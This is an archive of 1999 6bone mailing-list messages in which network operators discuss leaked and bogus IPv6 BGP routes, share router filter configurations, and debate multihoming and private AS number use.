>> >> > Masaki
>> >> > 
>> >> > [this is the first part of announcements of 1000::/3]
>> >> > BGP4+|07/01/99 12:04:49|A|3ffe:900:0:3::1|1225|1000::/3|1225 33 109 237 7081|IGP
>> >> > BGP4+|07/01/99 12:04:50|W|3ffe:900:0:3::1|1225|1000::/3
>> >> > BGP4+|07/01/99 12:06:24|A|3ffe:900:0:3::1|1225|1000::/3|1225 33 109 237 7081|IGP
>> >> > BGP4+|07/01/99 12:06:25|W|3ffe:900:0:3::1|1225|1000::/3
>> >> > BGP4+|07/01/99 12:17:27|A|3ffe:900:0:3::1|1225|1000::/3|1225 33 109 237 7081|IGP
>> >> > BGP4+|07/01/99 12:17:28|W|3ffe:900:0:3::1|1225|1000::/3
>> >> > BGP4+|07/01/99 12:26:30|A|3ffe:900:0:3::1|1225|1000::/3|1225 33 109 237 7081|IGP
>> >> > BGP4+|07/01/99 12:26:31|W|3ffe:900:0:3::1|1225|1000::/3
>> >> > BGP4+|07/01/99 12:27:09|W|3ffe:900:0:3::1|1225|1000::/3
>> >> > BGP4+|07/01/99 12:27:12|W|3ffe:900:0:3::1|1225|1000::/3
>> >> > BGP4+|07/01/99 12:40:45|A|3ffe:900:0:3::1|1225|1000::/3|1225 33 109 237 7081|IGP
>> >> > BGP4+|07/01/99 12:40:46|W|3ffe:900:0:3::1|1225|1000::/3
>> >> > [continues]
>> >> > 
>> >> > >> From: Craig Labovitz <labovit@HOME.MERIT.EDU>
>> >> > >> Subject: Re: 07/01/99 6Bone Routing Report
>> >> > >> Date: Fri, 02 Jul 1999 10:11:00 -0400
>> >> > >> Message-ID: <3.0.6.32.19990702101100.007d8240@HOME.MERIT.EDU>
>> >> > >>
>> >> > >> >Delivered-To: ipma-support@merit.edu
>> >> > >> >Date: Fri, 2 Jul 1999 09:24:21 -0400 (EDT)
>> >> > >> >From: Chris Heermann <heermann@EAST.ISI.EDU>
>> >> > >> >To: ipma-support@merit.edu
>> >> > >> >Cc: Chris Heermann <heermann@EAST.ISI.EDU>
>> >> > >> >Subject: Re: 07/01/99 6Bone Routing Report
>> >> > >> >
>> >> > >> >
>> >> > >> >Yesterday's report shows CAIRN advertising 0000::/0 and 1000::/3.
>> >> > >> >Apparently, we adertised to AS237, I think that's you/MERIT, and it came
>> >> > >> >back to you from AS1225. I have no clue as to how we advertised those two 
>> >> > >> >prefixes. Unless there was a momentary window when someone was
>> >> > >> >experimenting and got creative.
>> >> > >> >
>> >> > >> >Can you please provide me with the time this event occurred and any other
>> >> > >> >helpful details. thanks, Chris
>> >> > >> >
>> >> > >> >
>> >> > >> >> Non-6Bone Prefixes (outside of 3ffe::/16):
>> >> > >> >> --------------------------------
>> >> > >> >>   0000::/0 path 1225 33 109 237 7081 (CAIRN)  
>> >> > >> >>   1000::/3 path 1225 33 109 237 7081 (CAIRN)
>> >> > >> >
>> >> > >> >
>> >> > >> >
>> >> > >> >
>> >> > >> >
>> >> > >> 
>> >> > >> -------------------------
>> >> > >> Craig Labovitz					(734) 764-0252 voice
>> >> > >> Merit Network, Inc.				labovit@merit.edu
>> >> > >> 4251 Plymouth Road			
>> >> > >> Ann Arbor, MI 48105
>> >> > 

From 6bone-owner  Mon Jul 19 19:45:36 1999
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Date: Mon, 19 Jul 1999 22:45:29 -0400 (EDT)
From: Robert Rockell <rrockell@sprint.net>
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Subject: Bad routes update
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After tearing down my inbound filter to only ONE peer of all of my pTLA
peers, I see the following bad routes (as path withheld to protect poor
non-filtering transit party that I used :)  )


block				Most downstream AS (not full path)
-----------------		----------------------------------
3FFE:400:1C0::0/48              8319
3FFE:900:1::0/48		1312
3FFE:900:2::0/48		3899
3FFE:902::0/32			8664
3FFE:F00:2::0/48		11261
3FFE:1108:40A::0/48		5539
3FFE:1108:1400::0/40		704
3FFE:2024:1::0/48		1205
3FFE:202A:1::0/64		1836
3FFE:2401::0/32			2118
3FFE:2610:2::0/48		8432
3FFE:2610:5::0/48		5469
3FFE:2620::0/32			1741
3FFE:2802::0/32			1312
3FFE:2900:5::0/48		1312
3FFE:2900:FFE1::0/48		4768
3FFE:2D00:2::0/48		3323
3FFE:2D00:3::0/48		8643
3FFE::0/16			2497 (prepended)


While this is a small list when considering every member of the 6bone, this
will obviously not scale should content on the 6bone become important.

Note: not all bad prefixes are leaking from the PTLA who owns that prefix.
For instance, the 3ffe:2900 prefix is coming from a customer of
3ffe:2900::/24 who is multihomed, but their other upstream is allowing this
prefix to be advertised. This is the case for many of them, BUT NOT ALL.

PTLA's: Please fix the easy ones, and pressure other pTLA's to fix the ones
that are out of your hands.

3ffe::/16 .... enough said. Please have this removed. You are offically
acting as default route (effectively) to 6bone. We appreciate it, but please
refrain. 

A couple suggestions to people who are concerned about fixing this (everyone
should be).

Rob's diatribe on how to stop this from happenning.
--------------------------------------------------


I. If you redistribute static/connected routes into bgp

1.tag [static connected] routes with a community, and filter on that 
community at your edges

-or-

2.try to aggregate via an access-list

Examples:
---------
I apologize for the cisco-centric configuration suggestions. Feel free to
port them to your bgp speaker and post them to the list.

1.
ipv access-list aggreagte permit any (0::0/0)
route-map aggregate-today permit 10
match ipv address aggregate
set community <as>:123

router bgp <as>
redistribute static route-map no-statics-out

then on your outbound filter:

ipv community-list 1 deny <as>:123
ipv community-list 1 permit .*

route-map filter-out permit 10
match community 1
set metric <internal> (insert transitive attribute tweaks here)

(note: the "match any and tag" technique works in v6 but not v4...
aggregation model says that for no reason should you route other people's
space, if you are a pTLA, unless it is a transit aggregate, and these SHOULD
NOT be static)



2. (this one is harder, and may not be possible with the given implemtations
of bgp4+ and access-lists that I have seen)

ipv prefix-list aggregate deny <prefix> le <prefix length - 1>

route-map aggregate-toady permit 10
match ipv prefix aggreagte
set <whatever> <however>

and apply it outbound.

#1 is more scalable, at least in my opinion. it also allows for a more
stable IBGP, especially since most people are running IBGP as their sole IGP
(RIP only carries you so far before one gets angry).

=================================================
II. If you are multi-homed:

Filter Outbound, please. It is simple.

ipv access-list firstprovider permit <provider one prefix>::/<length>

ipv access-list secondprovider permit <other prefix>::/<length>


Then simply

route-map <provider>-out permit 10
match ipv address <[first second] provider>
set attribute here




Bob, et al,

do we think there needs to be something more stringent in place for
providers who are allowing transit stray prefixes from other providers to
get injected into their IBGP and thus into EBGP (when I am multi-homed, and
send prefix A up provider B's pipe, and they accept it). 

When Ipv6 goes live, unless business is more good-willed than it is now,
this is going to break things, and one pTLA may not have much motivation to
fix the problem (unless flames on the 6bone mailing lists really hurt).

Anyway, if you've gotten this far, thanks for reading. Anyone who can
program their way out of a box, perhaps an expect script to pull this stuff
out and publish a report once a week would be nice. However, if someone is
going to knock down their filters temporarily to see the nastiness in the
6bone, they have to make sure their customers and peers do not see if for
that time period.



Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833
Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?


From 6bone-owner  Mon Jul 19 21:37:43 1999
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To: 6bone@ISI.EDU
Subject: Private ASN space
X-Copyright: Copyright 1999, Craig Metz, All Rights Reserved.
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  Would someone kindly remind me what the reserved-for-private-use ASNs are?

  I need an ASN for use with my 6Bone routers (my == me, not NRL), and getting
a "real" one is well outside my budget. Barring constructive objections, I'd
like to claim one of the private ones for this purpose.

									-Craig


From 6bone-owner  Mon Jul 19 22:18:07 1999
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	(envelope-from jabley)
Date: Tue, 20 Jul 1999 17:17:53 +1200
From: Joe Abley <jabley@clear.co.nz>
To: Robert Rockell <rrockell@sprint.net>
Cc: 6bone@ISI.EDU
Subject: Re: Bad routes update
Message-ID: <19990720171753.A60925@clear.co.nz>
References: <Pine.GSO.3.96.990719221751.22806C-100000@iscone>
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In-Reply-To: <Pine.GSO.3.96.990719221751.22806C-100000@iscone>; from Robert Rockell on Mon, Jul 19, 1999 at 10:45:29PM -0400
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On Mon, Jul 19, 1999 at 10:45:29PM -0400, Robert Rockell wrote:
> After tearing down my inbound filter to only ONE peer of all of my pTLA
> peers, I see the following bad routes (as path withheld to protect poor
> non-filtering transit party that I used :)  )
> 
> 
> block				Most downstream AS (not full path)
> -----------------		----------------------------------
>
> [snip!]
>
> 3FFE:2900:FFE1::0/48		4768

When I set up our first tunnels to the 6bone, I was keen to set up
more than one, since managing a multi-homed environment is the main
thing I wanted to test. We are multi-homed in our IPv4 network, and
this requirement will not go away as we transition to v6.

At the time, I asked about the multi-homing/non-(p)TLA problem, and
got various conflicting responses.

More telling, when I progressed to setting up tunnels to our first
test router, only one of the upstream networks was willing to delegate
any address space to me -- the others all said "you already have some
from Sprint, just announce that to us".

> II. If you are multi-homed:
> 
> Filter Outbound, please. It is simple.
> 
> ipv access-list firstprovider permit <provider one prefix>::/<length>
> 
> ipv access-list secondprovider permit <other prefix>::/<length>

We _are_ filtering outbound route advertisements; however, we are
restricting each one to the same Sprint-provided prefix, since that's
all we have.

This is clearly wrong, according to all the routing practices drafts
I have seen for the 6Bone.

> When Ipv6 goes live, unless business is more good-willed than it is now,
> this is going to break things, and one pTLA may not have much motivation to
> fix the problem (unless flames on the 6bone mailing lists really hurt).

Should I be demanding v6 address prefixes from all my pTLAs?

On a related note, I've looked, but I can't find the recommended solution
to the following problem; I also asked Steve Deering about this during
his IPv6 tutorial at Apricot this year, and at the time he didn't know the
operational policy on this either (although he could have been trying
to encourage me to stop asking stupid questions by feigning ignorance :)

  o  NLA is multi-homed to several pTLAs;
  o  Each pTLA delegates a v6 address prefix to that NLA;
  o  NLA has a customer who needs addresses.

Does the NLA delegate one prefix to the customer per pTLA?

Does the customer then delegate address(es) from each supplied prefix
to every interface they have to number in their network?

Given that the reason we are (and will be) multi-homed is for resilience,
and reduce dependency on any single upstream provider, if I don't
announce all prefixes to all providers we're never going to get TCP
sessions (as they exist now) to survive a "pTLA down" event.

At the moment it looks like the only way to multi-home in the manner
that we are used to with IPv4 is to become a (p)TLA.

I'm confused :) If someone could point me towards some written words on
this stuff, I would be very appreciative.

Thanks,


Joe

-- 
Joe Abley <jabley@clear.co.nz>      Tel +64 9 912-4065, Fax +64 9 912-5008
Te Kaihoahoa Kawei, CLEAR Communications Ltd      http://www.clear.net.nz/

From 6bone-owner  Mon Jul 19 23:06:27 1999
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To: Robert Rockell <rrockell@sprint.net>
cc: 6bone@ISI.EDU
Subject: Re: Bad routes update 
In-reply-to: Your message of "Mon, 19 Jul 1999 22:45:29 EDT."
             <Pine.GSO.3.96.990719221751.22806C-100000@iscone> 
X-Copyright: Copyright 1999, Craig Metz, All Rights Reserved.
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In message <Pine.GSO.3.96.990719221751.22806C-100000@iscone>, you write:
>3FFE:F00:2::0/48		11261

  This is not a bogus route per se. I told them to set it up this way. I have
been recommending that non-pTLA multi-homed sites use a /48, which happens to
mesh nicely with the way I've been managing tunnel address space at NRL.

  I can see a very very strong case for making it /32 and setting a hard and
fast rule that prefixes >/32 are not allowed into the cloud. I think that it
would be a Very Very Good Thing if no backbone router ever had to look at
beyond the first 32 bits of the address, as this would make life a Whole Lot
Easier for hardware that is designed for the best-performance case being 32
bit addresses (like, oh, say, most backbone routers).

  Now, these other prefixes are bogon.

  I'd like to add one I saw in my routing tables:

  3FFE:F00:A:1133::0/64
         *> 3FFE:F01:0:FFFF::5 FE80::C8E:50C2:7 Tunnel1 1225 1103 65502 5623 559 1717 1835 1849 109 3462 3263 49 i
         *  3FFE:F01:0:FFFF::19 FE80::E0:1E8E:C2C1:18 Tunnel6 5609 1225 1275 1103 222 5623 559 1717 1835 1849 109 3462 3263 49 i
  3FFE:F00:A:11E1::0/64
         *> 3FFE:F01:0:FFFF::5 FE80::C8E:50C2:7 Tunnel1 1225 1103 65502 5623 559 1717 786 1849 109 3462 3263 49 ?
         *  3FFE:F01:0:FFFF::19 FE80::E0:1E8E:C2C1:18 Tunnel6 5609 1225 1275 1103 222 5623 559 1717 786 1849 109 3462 3263 49 ?

  NIST guys, please fix.

>3FFE::0/16			2497 (prepended)

  Sigh.

>When Ipv6 goes live, unless business is more good-willed than it is now,
>this is going to break things, and one pTLA may not have much motivation to
>fix the problem (unless flames on the 6bone mailing lists really hurt).

  What's basically going to have to happen soon is that we're going to have to
turn on the basic BGP knobs. I'd like to see routing transit policy stuff in
place on the 6Bone as well as reasonable path metrics and such, as it would
stop much of the current tunnel routing insanity.

  Perhaps the Cisco guys could elaborate, but I had the impression that only
a very limited subset of the knobs are really built for IPv6. This might
complicate things.

									-Craig

From 6bone-owner  Mon Jul 19 23:25:51 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'Joe Abley'" <jabley@clear.co.nz>, Robert Rockell <rrockell@sprint.net>
Cc: 6bone@ISI.EDU
Subject: RE: Bad routes update
Date: Mon, 19 Jul 1999 23:16:48 -0700
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> More telling, when I progressed to setting up tunnels to our first
> test router, only one of the upstream networks was willing to delegate
> any address space to me -- the others all said "you already have some
> from Sprint, just announce that to us".

They were wrong...
 
> Should I be demanding v6 address prefixes from all my pTLAs?

Yes.
 
> On a related note, I've looked, but I can't find the 
> recommended solution
> to the following problem; I also asked Steve Deering about this during
> his IPv6 tutorial at Apricot this year, and at the time he 
> didn't know the
> operational policy on this either (although he could have been trying
> to encourage me to stop asking stupid questions by feigning 
> ignorance :)
> 
>   o  NLA is multi-homed to several pTLAs;
>   o  Each pTLA delegates a v6 address prefix to that NLA;
>   o  NLA has a customer who needs addresses.
> 
> Does the NLA delegate one prefix to the customer per pTLA?

Yes, you should give your customer multiple prefixes in this situation.
 
> Does the customer then delegate address(es) from each supplied prefix
> to every interface they have to number in their network?

Yes, the customer's interfaces will get multiple addresses.
 
> At the moment it looks like the only way to multi-home in the manner
> that we are used to with IPv4 is to become a (p)TLA.

We're trying to avoid that.
 
> I'm confused :) If someone could point me towards some 
> written words on
> this stuff, I would be very appreciative.

There were some presentations on this (although not from a 6bone operational
viewpoint) last week at the second IPNG meeting in Oslo - look for the
minutes.

Thanks,
Rich

From 6bone-owner  Mon Jul 19 23:55:52 1999
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To: Richard Draves <richdr@microsoft.com>
cc: 6bone@ISI.EDU
Subject: Re: Bad routes update 
In-reply-to: Your message of "Mon, 19 Jul 1999 23:50:44 PDT."
             <4D0A23B3F74DD111ACCD00805F31D810145155E7@RED-MSG-50> 
X-Copyright: Copyright 1999, Craig Metz, All Rights Reserved.
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Date: Tue, 20 Jul 1999 02:55:44 -0400
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In message <4D0A23B3F74DD111ACCD00805F31D810145155E7@RED-MSG-50>, you write:
>> >3FFE:F00:2::0/48		11261
>> 
>>   This is not a bogus route per se. I told them to set it up 
>> this way. I have
>> been recommending that non-pTLA multi-homed sites use a /48, 
>> which happens to
>> mesh nicely with the way I've been managing tunnel address 
>> space at NRL.
>
>This is bogus - the backbone should only see /24s.

  First off, you're going to have a very hard time arguing that the new /28s
shouldn't be seen. Second, there *must* be some provision for sites to
multi-home without being a full pTLA, or pTLA allocations will explode as will
the allocations of pTLAs to people who shouldn't have them.

									-Craig

From 6bone-owner  Tue Jul 20 00:06:56 1999
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To: Peter Grehan <grehan@iprg.nokia.com>
cc: 6bone@ISI.EDU
Subject: Re: Bad routes update 
In-reply-to: Your message of "Tue, 20 Jul 1999 16:54:42 +1000."
             <37941D32.989451DE@iprg.nokia.com> 
X-Copyright: Copyright 1999, Craig Metz, All Rights Reserved.
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Date: Tue, 20 Jul 1999 03:06:46 -0400
From: Craig Metz <cmetz@inner.net>
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[IMO this thread should probably move to deployment, but anyway...]

In message <37941D32.989451DE@iprg.nokia.com>, you write:
>> I think that it
>> would be a Very Very Good Thing if no backbone router ever had to look at
>> beyond the first 32 bits of the address, as this would make life a Whole Lot
>> Easier for hardware that is designed for the best-performance case being 32
>> bit addresses (like, oh, say, most backbone routers).
>
> Having worked on a high-speed forwarding ASIC that can do v6, I'd say 
>that it makes No Difference At All. If it did, I'd suggest that the
>design would be very poor.

  Vendors seem to be taking one of two approaches. One of them is to build an
extremely flexible router that will just not have a serious problem dealing
with stuff like IPv6 should it need to be dealt with. Another is to build an
IPv4 router, and anything not IPv4 might be shoehorned later but it isn't going
to be graceful.

  If prefixes are restricted to /32, there just isn't a problem for either
sort of box. (On the latter sort of box, IPv6 multicast loses in a big way
though)

  I agree that the 32-bit-centric (or 64-bit-centric for multicast purposes)
design is a poor one, but it exists. Okay, so maybe it's a feature and not a
bug if those boxes have a hard time....

									-Craig

From 6bone-owner  Tue Jul 20 00:22:50 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'Craig Metz'" <cmetz@inner.net>
Cc: 6bone@ISI.EDU
Subject: RE: Bad routes update 
Date: Mon, 19 Jul 1999 23:59:36 -0700
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>   First off, you're going to have a very hard time arguing 
> that the new /28s
> shouldn't be seen.

Quite right, I was forgetting the new /28s. So make that /28s.
(If we moved away from test addresses to real TLAs, then it would be /16s.)

> Second, there *must* be some provision for sites to
> multi-home without being a full pTLA, or pTLA allocations 
> will explode as will
> the allocations of pTLAs to people who shouldn't have them.

Yes, we spent two hours on this in Oslo - look for the minutes. But the
basic idea is to trade more scalable backbone routing for greater complexity
at the network periphery doing source & destination address selection. An
RFC 2260-style approach is another part of the proposed solution.

Rich

From 6bone-owner  Tue Jul 20 00:23:17 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'Craig Metz'" <cmetz@inner.net>, Robert Rockell <rrockell@sprint.net>
Cc: 6bone@ISI.EDU
Subject: RE: Bad routes update 
Date: Mon, 19 Jul 1999 23:50:44 -0700
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> >3FFE:F00:2::0/48		11261
> 
>   This is not a bogus route per se. I told them to set it up 
> this way. I have
> been recommending that non-pTLA multi-homed sites use a /48, 
> which happens to
> mesh nicely with the way I've been managing tunnel address 
> space at NRL.

This is bogus - the backbone should only see /24s.

Rich

From 6bone-owner  Tue Jul 20 02:33:47 1999
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	(envelope-from jabley)
Date: Tue, 20 Jul 1999 21:33:34 +1200
From: Joe Abley <jabley@clear.co.nz>
To: Craig Metz <cmetz@inner.net>
Cc: Richard Draves <richdr@microsoft.com>, 6bone@ISI.EDU
Subject: Re: Bad routes update
Message-ID: <19990720213333.D62668@clear.co.nz>
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Hi,

On Tue, Jul 20, 1999 at 02:55:44AM -0400, Craig Metz wrote:
> In message <4D0A23B3F74DD111ACCD00805F31D810145155E7@RED-MSG-50>, you write:
> >> >3FFE:F00:2::0/48		11261
> >> 
> >>   This is not a bogus route per se. I told them to set it up 
> >> this way. I have
> >> been recommending that non-pTLA multi-homed sites use a /48, 
> >> which happens to
> >> mesh nicely with the way I've been managing tunnel address 
> >> space at NRL.
> >
> >This is bogus - the backbone should only see /24s.
> 
>   First off, you're going to have a very hard time arguing that the new /28s
> shouldn't be seen. Second, there *must* be some provision for sites to
> multi-home without being a full pTLA, or pTLA allocations will explode as will
> the allocations of pTLAs to people who shouldn't have them.

I was going to keep quiet about this until I had done a lot more reading,
but it seems that perhaps things aren't as cut and dried as I had imagined,
and perhaps there is some benefit in raising this on the 6bone list.

I asked questions about multi-homing a long time ago, and the prevelant
answer at the time (which I am hearing from Richard again, so I guess it
hasn't changed) was:

 o  if you connect to multiple pTLAs, you will get multple allocations
    of address space, since aggregation in the backbone is important and
    must not be compromised.

 o  if you connect to an NLA which is multi-homed, you will be provided
    with multiple addresses for every host.

I raised some issues regarding resilience of individual TCP sessions
in the event of a pTLA-NLA event upstream, and the answers were (and are):

 o  stability of individual sessions is not important in the event of
    a routing change upstream;

 o  having _new_ sessions connect correctly (i.e. handling the change
    of TCP session endpoint address) is more important; this will be done by

 o  an algorithm for choosing suitable source and destination addresses
    for TCP virtual circuit endpoints that will become clear with
    operational experience.

I am not convinced by the first point, and the second and third ideas
look very clumsy to me. Much more clumsy than having long-prefix routes
injected into the backbone, leading to routers with 80,000 routes in them,
to be honest. Personal opinion, and a little diversionary.

My real concern is the operational impact of managing IP addresses of
end users, or of the administrators just before the end-users. Suppose
we, as a large (by NZ terms; tiny in global terms) operator decide to
multi-home to four backbone providers. We will not be alone; other
providers in NZ will do similar things. This happens now with IPv4
in one way or another.

Today we have smaller ISPs who dual-attach to two or more of the major
carriers.

And below them we have customers who dual-home between ISPs.

All this dual-homing is done for a reason, and that's diversity -- the
way we build fault tolerance into our IP networks is to provision multiple,
diverse and independent paths, and to advertise our networks in every
direction. This takes care and skill to manage correctly, but if done
well can be very effective.

With IPv6, this means that the poor customer will need to number each
address on their equipment with as many as 16 different addresses
(their upstreams will each have to deal with 8).

>From an operational perspective, we deal with dual-homed customers today
who do not have technical staff in-house -- they hire it in, by the
hour, and pay through the nose for it. A change in a customer
relationship for one of the NLAs (who have no direct relationship with
the end customer in question) now has the knock-on effect of requiring
all downstream users to change addresses on their interfaces.

I believe the IPv6 autoconfiguration story, but only as far as it
goes -- I don't believe in effective automatic DNS and route filter
updates, for example. There is going to be manual intervention required
all along the track.

The number of end-users just in our customer base that have a business
requirement to multi-home increases every month.

This sounds a little bit like a nightmare. Is this for real? This
sounds a little less like IP, and a little more like E.164 number
portability in the switched voice network, complete with business
cards that need re-printing every two months (cue Psycho violins,
trembling shower curtain, shadow of hand c/w bloody knife).

For pTLA above, also read TLA in the real network -- I am presuming
that the original aims of the 6bone hold true, and that operational
procedures developed here will migrate their way to the Real Network.

I still presume that I am under some basic misconception that, once
cleared, will leave me happy and relaxed. The sooner someone can
point it out to me, the sooner I can get some sleep :)


Joe

-- 
Joe Abley <jabley@clear.co.nz>      Tel +64 9 912-4065, Fax +64 9 912-5008
Te Kaihoahoa Kawei, CLEAR Communications Ltd      http://www.clear.net.nz/

From 6bone-owner  Tue Jul 20 02:38:07 1999
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Date: Tue, 20 Jul 1999 19:37:48 +1000 (EST)
From: Peter Tattam <peter@jazz-1.trumpet.com.au>
To: Joe Abley <jabley@clear.co.nz>
cc: Robert Rockell <rrockell@sprint.net>, 6bone@ISI.EDU
Subject: Re: Bad routes update
In-Reply-To: <19990720171753.A60925@clear.co.nz>
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On Tue, 20 Jul 1999, Joe Abley wrote:

> On Mon, Jul 19, 1999 at 10:45:29PM -0400, Robert Rockell wrote:
> > After tearing down my inbound filter to only ONE peer of all of my pTLA
> > peers, I see the following bad routes (as path withheld to protect poor
> > non-filtering transit party that I used :)  )
> > 
> > 
> > block				Most downstream AS (not full path)
> > -----------------		----------------------------------
> >
> > [snip!]
> >
> > 3FFE:2900:FFE1::0/48		4768
> 
> When I set up our first tunnels to the 6bone, I was keen to set up
> more than one, since managing a multi-homed environment is the main
> thing I wanted to test. We are multi-homed in our IPv4 network, and
> this requirement will not go away as we transition to v6.
> 
> At the time, I asked about the multi-homing/non-(p)TLA problem, and
> got various conflicting responses.
> 
> More telling, when I progressed to setting up tunnels to our first
> test router, only one of the upstream networks was willing to delegate
> any address space to me -- the others all said "you already have some
> from Sprint, just announce that to us".
> 
> > II. If you are multi-homed:
> > 
> > Filter Outbound, please. It is simple.
> > 
> > ipv access-list firstprovider permit <provider one prefix>::/<length>
> > 
> > ipv access-list secondprovider permit <other prefix>::/<length>
> 
> We _are_ filtering outbound route advertisements; however, we are
> restricting each one to the same Sprint-provided prefix, since that's
> all we have.
> 
> This is clearly wrong, according to all the routing practices drafts
> I have seen for the 6Bone.
> 
> > When Ipv6 goes live, unless business is more good-willed than it is now,
> > this is going to break things, and one pTLA may not have much motivation to
> > fix the problem (unless flames on the 6bone mailing lists really hurt).
> 
> Should I be demanding v6 address prefixes from all my pTLAs?
> 
> On a related note, I've looked, but I can't find the recommended solution
> to the following problem; I also asked Steve Deering about this during
> his IPv6 tutorial at Apricot this year, and at the time he didn't know the
> operational policy on this either (although he could have been trying
> to encourage me to stop asking stupid questions by feigning ignorance :)
> 
>   o  NLA is multi-homed to several pTLAs;
>   o  Each pTLA delegates a v6 address prefix to that NLA;
>   o  NLA has a customer who needs addresses.
> 
> Does the NLA delegate one prefix to the customer per pTLA?
> 
> Does the customer then delegate address(es) from each supplied prefix
> to every interface they have to number in their network?
> 
> Given that the reason we are (and will be) multi-homed is for resilience,
> and reduce dependency on any single upstream provider, if I don't
> announce all prefixes to all providers we're never going to get TCP
> sessions (as they exist now) to survive a "pTLA down" event.
> 
> At the moment it looks like the only way to multi-home in the manner
> that we are used to with IPv4 is to become a (p)TLA.
> 
> I'm confused :) If someone could point me towards some written words on
> this stuff, I would be very appreciative.
> 
> Thanks,
> 
> 
> Joe

Tell me about it.  I banged on enough doors about the subject, but never got a
definitive answer from my point of view.  At the time I was running two NLA's
with suballocations from each which was the "done" thing.  The bottom line was
I had difficulty at the host level in making decisions as to which source
address to choose.  All the rules under the sun didn't (IMHO) help me make
those decisions and in the end it was arbitrary - it was pretty hit & miss
networking. I believe the answer lay in utilizing RA, but it was my impression
that this was still work in progress. It was listed as a hot topic at the last
IETF meeting, but as I wasn't there, I can't comment on the outcome.  I did
read the latest draft on the subject, but it didn't satisfy me either.  I've
had the impression it's been stuck in the too hard basket for too long.

My problems went away by moving to a pTLA, which I believe has been the de
facto answer to the problem :)  Clearly this is not a realistic scenario.

If there's anyone who multi homes NLA or SLA please speak up for I think you
would be a rarity.


BTW, a couple of months ago, for my own enjoyment, I put together a derivation
of the GSE proposal that may solve the problem of multihoming.  Sadly, however,
it is probably too late for this as too many things are set in concrete.   I
can throw it up on our web site for any interested parties.

anyway... back to writing OS's... seeya.

Peter

> 
> -- 
> Joe Abley <jabley@clear.co.nz>      Tel +64 9 912-4065, Fax +64 9 912-5008
> Te Kaihoahoa Kawei, CLEAR Communications Ltd      http://www.clear.net.nz/
> 

--
Peter R. Tattam                            peter@trumpet.com
Managing Director,    Trumpet Software International Pty Ltd
Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210


From 6bone-owner  Tue Jul 20 02:56:27 1999
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Date: Tue, 20 Jul 1999 05:54:28 EDT
Subject: Re: Private ASN space
To: cmetz@inner.net
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In a message dated 99-07-20 00:44:03 EDT, you write:

<< 6bone@ISI.EDU >>
how do i get off of this listing?

Larry H

From 6bone-owner  Tue Jul 20 05:09:43 1999
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Date: Wed, 21 Jul 1999 00:09:28 +1200
From: Joe Abley <jabley@clear.co.nz>
To: Craig Metz <cmetz@inner.net>
Cc: 6bone@ISI.EDU
Subject: Re: Private ASN space
Message-ID: <19990721000928.A65571@clear.co.nz>
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On Tue, Jul 20, 1999 at 12:37:25AM -0400, Craig Metz wrote:
> 
>   Would someone kindly remind me what the reserved-for-private-use ASNs are?
> 
>   I need an ASN for use with my 6Bone routers (my == me, not NRL), and getting
> a "real" one is well outside my budget. Barring constructive objections, I'd
> like to claim one of the private ones for this purpose.

RFC1930: Guidelines for creation, selection and registration of
an Autonomous System (AS), J. Hawkinson, T. Bates, March 1996.

...
10. Reserved AS Numbers

   The Internet Assigned Numbers Authority (IANA) has reserved the
   following block of AS numbers for private use (not to be advertised
   on the global Internet):

                           64512 through 65535
...

-- 
Joe Abley <jabley@clear.co.nz>      Tel +64 9 912-4065, Fax +64 9 912-5008
Te Kaihoahoa Kawei, CLEAR Communications Ltd      http://www.clear.net.nz/

From 6bone-owner  Tue Jul 20 06:41:10 1999
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Date: Tue, 20 Jul 1999 09:41:04 -0400
From: Jimmy Kyriannis <jimmy.kyriannis@nyu.edu>
Subject: Re: Private ASN space
In-reply-to: <199907200437.EAA26126@inner.net>
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At 12:37 AM -0400 7/20/99, Craig Metz wrote:
>  Would someone kindly remind me what the reserved-for-private-use ASNs are?
>
>  I need an ASN for use with my 6Bone routers (my == me, not NRL), and getting
>a "real" one is well outside my budget. Barring constructive objections, I'd
>like to claim one of the private ones for this purpose.
>
>									-Craig

In a nutshell, it means that "reserved-for-private-use ASNs" are reserved
for internal use on an enterprise network, but may not be used on the
Internet at large.  To the Internet, an enterprise has only one ASN that's
advertised to all routers on the backbone.  However, a problem arises when
some large networks use an EGP (such as BGP) internally to aggregate large
routing tables and establish routing policies between sections of the
network.  When used internally with the enterprise, some BGP configurations
require multiple ASNs to be used in order to achieve certain functionality.
Hence, a dilemma: an enterprise has only one ASN, yet may need more than
one to achieve certain routing topologies within.  This is solved through
the use of these private ASNs; they can be used safely within an enterprise
network, however, may not be used for reachability advertisements to the
Internet at large.

Sorry if this slightly of-topic, but hopefully answers the question raised.


Jimmy



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Craig Metz <cmetz@inner.net> writes:
> >This is bogus - the backbone should only see /24s.
> 
>   First off, you're going to have a very hard time arguing that the new /28s
> shouldn't be seen. Second, there *must* be some provision for sites to
> multi-home without being a full pTLA, or pTLA allocations will explode as will
> the allocations of pTLAs to people who shouldn't have them.

There are some people who try to pretend that multihoming doesn't
happen. It does, though, and there really is no way people are going
to convince others to eliminate the redundancy they've had in their
IPv4 links, especially when it has worked well for them.

Perry

From 6bone-owner  Tue Jul 20 06:58:56 1999
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Subject: Re: Bad routes update
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From: "Perry E. Metzger" <perry@piermont.com>
Date: 20 Jul 1999 09:58:45 -0400
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Joe Abley <jabley@clear.co.nz> writes:
> I raised some issues regarding resilience of individual TCP sessions
> in the event of a pTLA-NLA event upstream, and the answers were (and are):
> 
>  o  stability of individual sessions is not important in the event of
>     a routing change upstream;

I have a bridge to sell you in lower Manhattan, too.

>  o  having _new_ sessions connect correctly (i.e. handling the change
>     of TCP session endpoint address) is more important; this will be done by
> 
>  o  an algorithm for choosing suitable source and destination addresses
>     for TCP virtual circuit endpoints that will become clear with
>     operational experience.
> 
> I am not convinced by the first point, and the second and third ideas
> look very clumsy to me.

I agree. They're basically wishing, not technology.

Right now, we have v4 users who are doing just fine with redundant
links which *don't* lose their connectivity, and right now, we *don't* 
have these magic algorithms in any state that will work right.

I think those v4 users are not going to accept being told that they
can't do what they're doing now.

Like it or not, we will have to accept multiple announcements of
"punched-through" address blocks way below the /28 level.

I understand the desire to reduce the number of routes out there --
really, I do! -- and the strategy will work fine for many users. It
just isn't going to fly, though, with folks who are out there paying
for multiple carriers now so that they get reliability.

Perry

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Subject: Re: Bad routes update
